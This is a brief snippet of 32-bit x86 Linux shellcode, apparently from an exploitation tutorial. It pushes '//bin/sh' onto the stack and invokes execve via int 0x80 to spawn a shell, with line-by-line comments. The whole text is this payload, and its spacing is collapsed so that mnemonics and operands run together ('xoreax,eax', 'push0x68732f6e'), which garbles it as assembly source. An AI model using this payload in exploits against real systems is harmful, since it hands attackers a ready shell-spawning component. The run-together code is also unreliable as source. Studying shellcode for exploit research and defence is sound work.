BITS32; Method 2: Push the string directly onto the stack instead of using the 'string trick'; zero out registersxoreax,eaxxorecx,ecxcdq; convert dword in eax to qword in edx; push the string //bin/sh onto the stackpush0x68732f6e; push 'hs/n'push0x69622f2f; push 'ib//'movebx,esp; first argument for execve -> stack pointer = pointer to our stringmovbyte[esp+8],al; null-terminate the stringmoval,0xb; syscall number 0xb (11) is execveint0x80; let the kernel do the stuff